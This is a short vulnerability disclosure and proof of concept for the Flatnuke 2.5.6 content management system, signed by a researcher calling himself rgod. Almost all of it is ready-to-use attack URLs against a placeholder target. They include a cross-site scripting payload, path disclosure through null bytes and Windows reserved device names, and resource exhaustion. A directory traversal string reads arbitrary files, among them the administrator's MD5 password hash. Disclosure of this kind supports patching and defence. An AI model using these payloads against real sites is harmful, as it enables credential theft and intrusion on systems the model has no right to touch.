Flatnuke 2.5.6 Underlying system information disclosure / Administrative & users credentials disclosure  
/ cross site scripting / path disclosure / resource consumption poc

(tested on Windows)

software:
site: http://flatnuke.sourceforge.net/flatnuke/

1) cross site scripting:
http://[target]/[path]/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!--

2) path disclosure:
2.a) http://[target]/[path]/print.php?news=com1%00&mod=whatever
and so on calling MS-DOS reserved device name for news parameter...

2.b) http://[target]/[path]/index.php?mod=read&id=whatever

3) resource consumption:
on Windows:
http://[target]/[path]/print.php?news=con%00&mod=ciao
http://[target]/[path]/index.php?mod=read&id=../forum/users/con%00

4) 
a user can retrieve any file on target system using null byte (%00), example admin MD5 password hash disclosure:
http://[target]/[path]/index.php?mod=read&id=../forum/users/admin.php%00

generally:
http://[target]/[path]/index.php?mod=read&id=../forum/users/[user].php%00

rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it